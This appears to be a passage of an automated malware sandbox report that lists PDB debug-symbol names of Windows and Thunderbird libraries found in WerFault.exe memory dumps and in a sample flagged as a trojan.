Source:	Binary string: schannel.pdb source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: crypt32.pdb. source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667327807.000000006F409000.00000002.00020000.sdmp
Source:	Binary string: bcrypt.pdb5 source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-0.pdb source: api-ms-win-core-processthreads-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: freebl3.dll.2.dr
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481600057.00000000053E0000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.517105427.0000000005980000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb} source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: crypt32.pdbp{ source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: combase.pdbB{ source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb0K source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdbs source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdb# source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp
Source:	Binary string: schannel.pdbE source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdbs source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdbtt source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: ntasn1.pdblK0 source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: userenv.pdby source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
Source:	Binary string: api-ms-win-core-synch-l1-2-0.pdb source: api-ms-win-core-synch-l1-2-0.dll.2.dr
Source:	Binary string: nsi.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdbs source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: webio.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667327807.000000006F409000.00000002.00020000.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: gdiplus.pdbN source: WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp
Source:	Binary string: schannel.pdb<K source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdbG source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb\| source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: api-ms-win-core-processthreads-l1-1-1.dll.2.dr
Source:	Binary string: shlwapi.pdbP source: WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp
Source:	Binary string: ktmw32.pdb3)6 source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: api-ms-win-core-namedpipe-l1-1-0.pdb source: api-ms-win-core-namedpipe-l1-1-0.dll.2.dr
Source:	Binary string: api-ms-win-crt-multibyte-l1-1-0.pdb source: api-ms-win-crt-multibyte-l1-1-0.dll.2.dr
Source:	Binary string: msasn1.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdbE source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: userenv.pdb[ source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdbH source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: fwpuclnt.pdbGs source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdbV source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 00000006.00000003.342505805.0000000004BD5000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356525915.0000000004A32000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377546761.00000000053D6000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393459283.0000000004DB6000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422301351.0000000002F76000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.450987054.0000000005AD6000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: crypt32.pdbw source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000006.00000003.342501209.0000000004BD0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356583602.0000000004A30000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377530397.00000000053D0000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393530166.0000000004DB0000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422389368.0000000002F70000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451142915.0000000005AD0000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libldif\ldif60.pdb source: ldif60.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\accessible\interfaces\msaa\AccessibleMarshal.pdb source: AccessibleMarshal.dll.2.dr
Source:	Binary string: profapi.pdbV source: WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp
Source:	Binary string: ncrypt.pdb source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: nsi.pdb% source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: dpapi.pdb source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481600057.00000000053E0000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.517105427.0000000005980000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbj{ source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: rasadhlp.pdb source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: api-ms-win-crt-string-l1-1-0.dll.2.dr
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: freebl3.dll.2.dr
Source:	Binary string: winhttp.pdbU source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdbk source: WerFault.exe, 00000006.00000003.342466709.0000000004BD2000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356525915.0000000004A32000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377466481.00000000053D2000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393356164.0000000004DB2000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422145190.0000000002F72000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.450987054.0000000005AD6000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc.pdb source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdb_ source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdbVt source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbnt source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: ncrypt.pdbBK source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb! source: WerFault.exe, 00000006.00000003.342501209.0000000004BD0000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\security\nss3.pdb source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000002.667121075.000000006E3D0000.00000002.00020000.sdmp, nss3.dll.2.dr
Source:	Binary string: api-ms-win-core-memory-l1-1-0.pdb source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe, 00000002.00000003.627922903.000000004C445000.00000004.00000001.sdmp, api-ms-win-core-memory-l1-1-0.dll.2.dr
Source:	Binary string: profapi.pdbD{ source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb% source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: nsi.pdb_ source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc.pdb6K source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: ktmw32.pdbI source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: ktmw32.pdbH source: WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb& source: WerFault.exe, 0000000F.00000003.393530166.0000000004DB0000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdb!)$ source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: winhttp.pdb')" source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libldap\ldap60.pdb source: ldap60.dll.2.dr
Source:	Binary string: shlwapi.pdbf{ source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: wrpcrt4.pdbk source: WerFault.exe, 00000006.00000003.342505805.0000000004BD5000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356525915.0000000004A32000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377546761.00000000053D6000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393459283.0000000004DB6000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422301351.0000000002F76000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.450987054.0000000005AD6000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdbt source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdbR source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: winhttp.pdbQ source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: mskeyprotect.pdb_ source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: dnsapi.pdb source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdbH{ source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: userenv.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdbzt source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: winhttp.pdbB source: WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdbk source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
